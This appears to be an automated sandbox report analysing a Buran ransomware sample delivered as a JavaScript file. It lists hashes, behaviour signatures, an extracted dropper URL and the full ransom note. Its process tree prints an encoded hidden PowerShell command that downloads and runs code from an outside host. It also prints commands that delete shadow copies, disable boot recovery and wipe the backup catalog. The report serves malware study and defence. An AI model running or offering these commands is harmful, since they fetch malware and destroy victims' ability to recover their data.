Overview

overview

10

Static

static

6440.js

windows7_x64

10

6440.js

windows10_x64

10

Analysis

  • max time kernel
    129s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    31/08/2021, 16:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6440.js

  • Size

    541KB

  • MD5

    268848cb4ff95f5b95a8c619b626eb1e

  • SHA1

    1ba3890f085853d01475ddf9fa3d991dee706be6

  • SHA256

    f827fc739c432960cabffffa30111ac512e019928c22ce6f55efca587bdb75bf

  • SHA512

    07cfd18fa8ec70db0a1c0f061ee5c6951979bada17777dd30cc473ee0cb161882109920a8d46ca961d4626231d94b4bac85a52180c34ae90442d16d70192781c

Score
10/10
buranpersistenceransomware

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
!!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email: [email protected] Reserved email: [email protected] Reserved email: [email protected] Your personal ID: 752-02C-F46 Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6440.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Users\Admin\AppData\Local\Temp\CWPpV.exe
          "C:\Users\Admin\AppData\Local\Temp\CWPpV.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Modifies system certificate store
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1416
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe" -start
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Suspicious use of WriteProcessMemory
            PID:3104
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3160
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic shadowcopy delete
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4736
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
              6⤵
                PID:4480
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                6⤵
                  PID:3460
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                  6⤵
                    PID:4336
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe" -agent 0
                    6⤵
                    • Executes dropped EXE
                    • Modifies extensions of user files
                    • Drops file in Program Files directory
                    • Drops file in Windows directory
                    PID:4516
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4564
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic shadowcopy delete
                      7⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3336
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      7⤵
                      • Interacts with shadow copies
                      PID:3696
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4332
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      7⤵
                      • Interacts with shadow copies
                      PID:4740
                  • C:\Windows\SysWOW64\notepad.exe
                    notepad.exe
                    6⤵
                      PID:4224
                  • C:\Windows\SysWOW64\notepad.exe
                    notepad.exe
                    5⤵
                      PID:2740
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2760

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • memory/1416-149-0x0000000000400000-0x0000000000557000-memory.dmp

              Filesize

              1.3MB

              Download

            • memory/1416-148-0x00000000009B0000-0x0000000000AF5000-memory.dmp

              Filesize

              1.3MB

              Download

            • memory/2740-163-0x0000000002390000-0x0000000002391000-memory.dmp

              Filesize

              4KB

              Download

            • memory/3056-128-0x0000020E00390000-0x0000020E00391000-memory.dmp

              Filesize

              4KB

              Download

            • memory/3056-143-0x0000020E7DA76000-0x0000020E7DA78000-memory.dmp

              Filesize

              8KB

              Download

            • memory/3056-134-0x0000020E7DA73000-0x0000020E7DA75000-memory.dmp

              Filesize

              8KB

              Download

            • memory/3056-133-0x0000020E7DA70000-0x0000020E7DA72000-memory.dmp

              Filesize

              8KB

              Download

            • memory/3056-121-0x0000020E001E0000-0x0000020E001E1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/3104-162-0x0000000000AB0000-0x0000000000BF5000-memory.dmp

              Filesize

              1.3MB

              Download

            • memory/4516-176-0x0000000000AD0000-0x0000000000C15000-memory.dmp

              Filesize

              1.3MB

              Download